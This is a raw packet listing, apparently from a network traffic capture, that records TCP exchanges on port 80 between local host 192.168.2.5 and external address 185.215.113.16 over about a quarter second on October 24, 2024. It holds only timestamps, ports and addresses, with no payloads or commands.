Oct 24, 2024 08:38:13.246608019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246646881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246671915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246685028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246687889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246706009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246715069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246720076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246727943 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246754885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246787071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246838093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246857882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246865034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246876955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246906042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246928930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246975899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246989012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246999979 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247021914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247045040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247047901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247056961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247061014 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247077942 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247093916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247095108 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247106075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247134924 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247153044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247183084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247195959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247210026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247227907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247229099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247246981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247270107 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247404099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247416019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247427940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247457027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247466087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247474909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247478008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247490883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.247507095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247517109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.247534990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.280844927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.280867100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.280881882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.280894041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.280908108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.280968904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.281008005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.285175085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285192013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285216093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285237074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285250902 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.285252094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285263062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.285267115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285280943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285288095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285299063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285309076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.285312891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.285341978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.285371065 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.285371065 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.308763027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.308784008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.308805943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.308819056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.308831930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.308844090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.308861017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.308971882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.309007883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.342226982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342256069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342267990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342302084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342315912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342329025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342327118 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.342341900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342356920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.342377901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.342377901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.342412949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.353420973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353434086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353445053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353458881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353471994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353509903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.353529930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353533983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.353540897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353553057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353568077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.353569031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353605986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.353873014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353884935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353897095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353931904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.353939056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353950977 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.353951931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353970051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.353986979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.354008913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.354101896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.354113102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.354135036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.354144096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.354152918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.354167938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.354186058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.362844944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.362855911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.362867117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.362878084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.362921000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.362935066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363075018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363126040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363126993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363137960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363163948 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363163948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363182068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363182068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363192081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363195896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363235950 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363235950 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363265991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363277912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363295078 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363307953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363321066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363341093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363353968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363362074 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363384008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363394976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363418102 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363431931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363496065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363516092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363528967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363540888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363542080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363555908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363584995 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363590002 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363601923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363612890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363629103 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363656044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363672972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363692045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363706112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363718033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363723040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363730907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363754034 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363795042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363812923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363833904 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363846064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363859892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363898039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363898993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363924980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363936901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363945007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.363967896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.363977909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364013910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364039898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364049911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364088058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364123106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364142895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364154100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364166021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364166021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364176989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364185095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364208937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364233971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364240885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364244938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364279985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364283085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364296913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364322901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364360094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364360094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364372969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364511013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364528894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364541054 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364552975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364557981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364567041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.364581108 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.364614964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.397576094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397594929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397607088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397618055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397630930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397640944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397654057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397658110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.397664070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.397713900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.402153969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.402175903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.402223110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.402240992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.402254105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.402261972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.402273893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.402275085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.402286053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.402295113 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.402335882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.425678015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.425700903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.425712109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.425772905 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.425785065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.425797939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.425801039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.425810099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.425832033 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.425860882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.459414005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459435940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459448099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459501982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459516048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459558010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.459558010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.459577084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459588051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.459589958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459611893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459624052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459630013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.459635973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.459650993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.459687948 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470717907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470762968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470805883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470818043 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470875978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470895052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470906973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470916986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470918894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470923901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470938921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470947981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470951080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470962048 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470963001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470973969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470974922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470988035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.470999002 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.470999956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.471013069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.471025944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.471041918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.471185923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.471196890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.471244097 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.471276045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.471287012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.471321106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.471350908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.479964018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.479976892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.479989052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480060101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480093956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480132103 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480175972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480201006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480211973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480223894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480235100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480252981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480283022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480295897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480302095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480308056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480321884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480334044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480345011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480365038 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480375051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480381966 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480417967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480421066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480432987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480443001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480448961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480468035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480498075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480571985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480582952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480602980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480611086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480618000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480628967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480639935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480645895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480663061 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480665922 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480674982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480689049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480689049 CEST	80	60982	185.215.113.16	192.168.2.5
